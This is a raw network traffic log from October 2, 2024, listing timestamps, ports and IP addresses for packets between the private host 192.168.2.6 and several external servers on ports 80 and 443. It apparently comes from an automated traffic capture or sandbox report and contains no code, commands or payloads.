Oct 2, 2024 17:17:29.367700100 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367713928 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367726088 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367733002 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367748022 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367759943 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367760897 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367779970 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367783070 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367794037 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367794991 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367806911 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367820024 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367825031 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367832899 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367847919 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367854118 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367861986 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367867947 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367897034 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367916107 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367928028 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367939949 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367949009 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367953062 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367964983 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.367979050 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.367985010 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.368001938 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.368017912 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.368079901 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.368091106 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.368103027 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.368117094 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.368118048 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.368130922 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.368133068 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.368145943 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.368166924 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.368191004 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.368679047 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.368702888 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.368715048 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.368720055 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.368737936 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.368761063 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.368784904 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.368797064 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.368810892 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.368818045 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.368824005 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.368844032 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.368875980 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.368886948 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.368900061 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.368912935 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.368925095 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.368933916 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.368938923 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.368959904 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.368978024 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.369010925 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.369024038 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.369038105 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.369056940 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.369059086 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.369070053 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.369083881 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.369111061 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.457294941 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457324028 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457339048 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457350969 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457376003 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457391977 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457393885 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.457398891 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457423925 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.457462072 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457473040 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457473040 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.457487106 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457500935 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457509041 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.457514048 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457525969 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.457530975 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457555056 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.457581997 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.457648993 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457660913 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457673073 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457684040 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.457685947 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457699060 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457701921 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.457710981 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457721949 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.457726002 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457747936 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.457763910 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.457927942 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457942009 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457956076 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457967043 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457978964 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.457988024 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.457998991 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458007097 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458013058 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458023071 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458025932 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458039045 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458049059 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458051920 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458067894 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458075047 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458080053 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458092928 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458095074 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458117008 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458142996 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458182096 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458218098 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458307028 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458317995 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458340883 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458358049 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458396912 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458409071 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458420992 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458432913 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458437920 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458466053 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458550930 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458561897 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458574057 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458589077 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458599091 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458602905 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458610058 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458614111 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458626986 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458643913 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458648920 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458662033 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458669901 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458673000 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458687067 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458698034 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458699942 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458713055 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458723068 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458728075 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458739996 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458769083 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458791971 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458812952 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458823919 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458836079 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458849907 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458849907 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458861113 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458865881 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458874941 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458887100 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458889961 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458899021 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458911896 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458920002 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458925962 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458935022 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458936930 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458950043 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458959103 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458962917 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458973885 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.458986044 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.458987951 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459003925 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.459011078 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459021091 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459032059 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.459043026 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459054947 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459054947 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.459068060 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459080935 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.459084034 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459106922 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.459121943 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.459157944 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459170103 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459183931 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459209919 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.459227085 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.459261894 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459274054 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459286928 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459300041 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459309101 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.459333897 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.459376097 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459398031 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459409952 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459423065 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459431887 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.459434986 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459448099 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459461927 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459476948 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.459476948 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.459501982 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.459665060 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459676981 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459688902 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459701061 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459711075 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.459722042 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459728956 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.459733963 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459745884 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459758043 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459769011 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.459770918 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459783077 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459789991 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.459794998 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459806919 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.459808111 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459820986 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.459836006 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.459863901 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.499977112 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.500001907 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.500015974 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.500027895 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.500041008 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.500052929 CEST	80	65281	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:29.500062943 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.500062943 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.500119925 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:29.756736040 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:29.763510942 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:31.079729080 CEST	65283	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:31.079778910 CEST	443	65283	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:31.079842091 CEST	65283	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:31.084316015 CEST	65283	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:31.084337950 CEST	443	65283	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:31.781985998 CEST	443	65283	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:31.782064915 CEST	65283	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:31.813059092 CEST	65284	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:31.813106060 CEST	443	65284	104.21.77.132	192.168.2.6
Oct 2, 2024 17:17:31.813163996 CEST	65284	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:31.814585924 CEST	65284	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:31.814596891 CEST	443	65284	104.21.77.132	192.168.2.6
Oct 2, 2024 17:17:31.846555948 CEST	65283	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:31.846586943 CEST	443	65283	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:31.846944094 CEST	443	65283	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:31.847008944 CEST	65283	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:31.848726988 CEST	65283	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:31.895407915 CEST	443	65283	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:32.288810968 CEST	443	65284	104.21.77.132	192.168.2.6
Oct 2, 2024 17:17:32.288882017 CEST	65284	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:32.290214062 CEST	65284	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:32.290221930 CEST	443	65284	104.21.77.132	192.168.2.6
Oct 2, 2024 17:17:32.290442944 CEST	443	65284	104.21.77.132	192.168.2.6
Oct 2, 2024 17:17:32.291327953 CEST	443	65283	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:32.291352034 CEST	443	65283	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:32.291369915 CEST	443	65283	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:32.291394949 CEST	65283	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:32.291425943 CEST	443	65283	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:32.291456938 CEST	65283	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:32.291487932 CEST	65283	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:32.339109898 CEST	65284	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:32.382534027 CEST	443	65283	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:32.382553101 CEST	443	65283	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:32.382621050 CEST	65283	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:32.382642031 CEST	443	65283	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:32.382675886 CEST	65283	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:32.387784958 CEST	443	65283	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:32.387840986 CEST	65283	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:32.387846947 CEST	443	65283	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:32.387887001 CEST	65283	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:32.387893915 CEST	443	65283	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:32.387936115 CEST	65283	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:32.417468071 CEST	65283	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:32.417503119 CEST	443	65283	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:32.468683958 CEST	65284	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:32.468708038 CEST	65284	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:32.468955994 CEST	443	65284	104.21.77.132	192.168.2.6
Oct 2, 2024 17:17:32.501555920 CEST	65286	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:32.501620054 CEST	443	65286	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:32.501699924 CEST	65286	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:32.502207994 CEST	65286	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:32.502224922 CEST	443	65286	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:32.897475958 CEST	443	65284	104.21.77.132	192.168.2.6
Oct 2, 2024 17:17:32.897584915 CEST	443	65284	104.21.77.132	192.168.2.6
Oct 2, 2024 17:17:32.897645950 CEST	65284	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:32.898560047 CEST	65284	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:32.898590088 CEST	443	65284	104.21.77.132	192.168.2.6
Oct 2, 2024 17:17:32.898602962 CEST	65284	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:32.898611069 CEST	443	65284	104.21.77.132	192.168.2.6
Oct 2, 2024 17:17:32.906335115 CEST	65287	443	192.168.2.6	188.114.96.3
Oct 2, 2024 17:17:32.906383038 CEST	443	65287	188.114.96.3	192.168.2.6
Oct 2, 2024 17:17:32.906557083 CEST	65287	443	192.168.2.6	188.114.96.3
Oct 2, 2024 17:17:32.909429073 CEST	65287	443	192.168.2.6	188.114.96.3
Oct 2, 2024 17:17:32.909446001 CEST	443	65287	188.114.96.3	192.168.2.6
Oct 2, 2024 17:17:33.177295923 CEST	443	65286	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:33.177381992 CEST	65286	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:33.181066990 CEST	65286	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:33.181077957 CEST	443	65286	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:33.181370974 CEST	443	65286	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:33.181519032 CEST	65286	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:33.181979895 CEST	65286	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:33.223397970 CEST	443	65286	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:33.373975992 CEST	443	65287	188.114.96.3	192.168.2.6
Oct 2, 2024 17:17:33.374366045 CEST	65287	443	192.168.2.6	188.114.96.3
Oct 2, 2024 17:17:33.379308939 CEST	65287	443	192.168.2.6	188.114.96.3
Oct 2, 2024 17:17:33.379321098 CEST	443	65287	188.114.96.3	192.168.2.6
Oct 2, 2024 17:17:33.379560947 CEST	443	65287	188.114.96.3	192.168.2.6
Oct 2, 2024 17:17:33.381222963 CEST	65287	443	192.168.2.6	188.114.96.3
Oct 2, 2024 17:17:33.381222963 CEST	65287	443	192.168.2.6	188.114.96.3
Oct 2, 2024 17:17:33.381294012 CEST	443	65287	188.114.96.3	192.168.2.6
Oct 2, 2024 17:17:33.947424889 CEST	443	65286	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:33.947514057 CEST	65286	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:33.947520018 CEST	443	65286	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:33.947594881 CEST	65286	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:33.947688103 CEST	443	65287	188.114.96.3	192.168.2.6
Oct 2, 2024 17:17:33.947781086 CEST	443	65287	188.114.96.3	192.168.2.6
Oct 2, 2024 17:17:33.948863029 CEST	65286	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:33.948882103 CEST	443	65286	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:33.948931932 CEST	65287	443	192.168.2.6	188.114.96.3
